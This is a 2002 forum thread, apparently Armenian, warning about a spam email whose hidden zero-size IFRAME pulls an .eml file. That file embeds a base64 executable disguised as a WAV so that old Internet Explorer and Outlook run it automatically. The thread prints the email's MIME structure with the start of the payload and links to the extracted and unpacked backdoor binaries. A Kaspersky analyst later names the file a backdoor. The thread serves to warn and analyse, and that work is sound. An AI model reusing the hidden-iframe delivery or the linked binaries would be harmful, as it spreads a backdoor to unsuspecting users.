*** WARNING! ***

dolphin · 22.04.2002, 15:55

Code:

Date: Mon, 22 Apr 2002 01:14:09 +0500
Message-ID: <[email protected]>
From: Web<[email protected]>
To: [email protected]
Subject: nor haykakan projekt
Mime-Version: 1.0
Content-Type: text/html;
  charset=windows-1251
Status: R 

http://www.armenia.com.uk  -um bacvel e nor sayt hayastani evropayi xorhurd andamakcelu veraberyal.
Bolord mteq yev qvyarkeq i ogut hayastani
<IFRAME height=0 src=&quot;http://freenet.am/~nemar/index.eml&quot; 
width=0></IFRAME>

http://freenet.am/~nemar/index.eml contains the following: (Attention! If you are running windows and MS IE/Outlook DO NOT try to download and open this file!)

Code:

From: &quot;xxxxx&quot;
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
        type=&quot;multipart/alternative&quot;;
        boundary=&quot;1&quot;
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--1
Content-Type: multipart/alternative; 
        boundary=&quot;2&quot;

 
--2
Content-Type: text/html;
        charset=&quot;iso-8859-1&quot;
Content-Transfer-Encoding: quoted-printable 

<HTML>
<HEAD>
</HEAD> 
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>



</BODY>
</HTML>

--2--

--1
Content-Type: audio/x-wav;
        name=&quot;hh.exe&quot;
Content-Transfer-Encoding: base64
Content-ID: <THE-CID>


TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADbpM3bn8WjiJ/Fo4ifxaOIn8WjiP/Fo4hj5bGIncWjiFjDpYiexaOIUmlj
.....

Then follows base64 encoded hh.exe file, that probably will be automaticli executed by some new versions of MS IE and Outlooks...

I'm sure, that it infected with some troyan program and may be dangerous.

Here is extracted hh.exe: http://dolphin.nt.am/VIRUS/hh.exe

If you have some recently updated antivirus program (AVP recomended) please download this file with care (!!only download, do not open!!)
and check it. Please write down here the results.

(I'm running Linux and cant do it by myself)

Thanks in advance!

z0mbie · 22.04.2002, 16:25

AVP & DrWeb (both updated today) nichego ne naxodyat no eto tochno trojan upakovannыy aspack-om

a naschet automatically executed - eto rabotaet tol'ko na redkix starыx versiyax Outlook-a

VX · 22.04.2002, 18:45

Da, eto dowol';no staraya stuka, cherez iframe fuile dowloadit'....lol
Pomnish dolphin, skol'ko vodi uteklo

**Vazgen Abgaryan** · 23.04.2002, 23:46

Hello!
This file contains the new backdoor utility: DTR.14.c
The detection routine will be added with a daily update.

Best regards,
Valentin
___________________________________________________
Valentin Kolesnikov,
Kaspersky Labs
http://www.kaspersky.com
http://www.viruslist.com

SMoKE · 24.04.2002, 01:50

http://freenet.am/~softland/hh-unpck.exe

i got interested in this progie, and i unpacked it (string references only, no import table(need to run it to dump IT, hehe

) to understand its work better, i uploaded it to my ftp and u can study its work too.
disassemble it with your favourite disasmer and a a lot things will come understandable....
yeah, and dont execute it, hehe ::}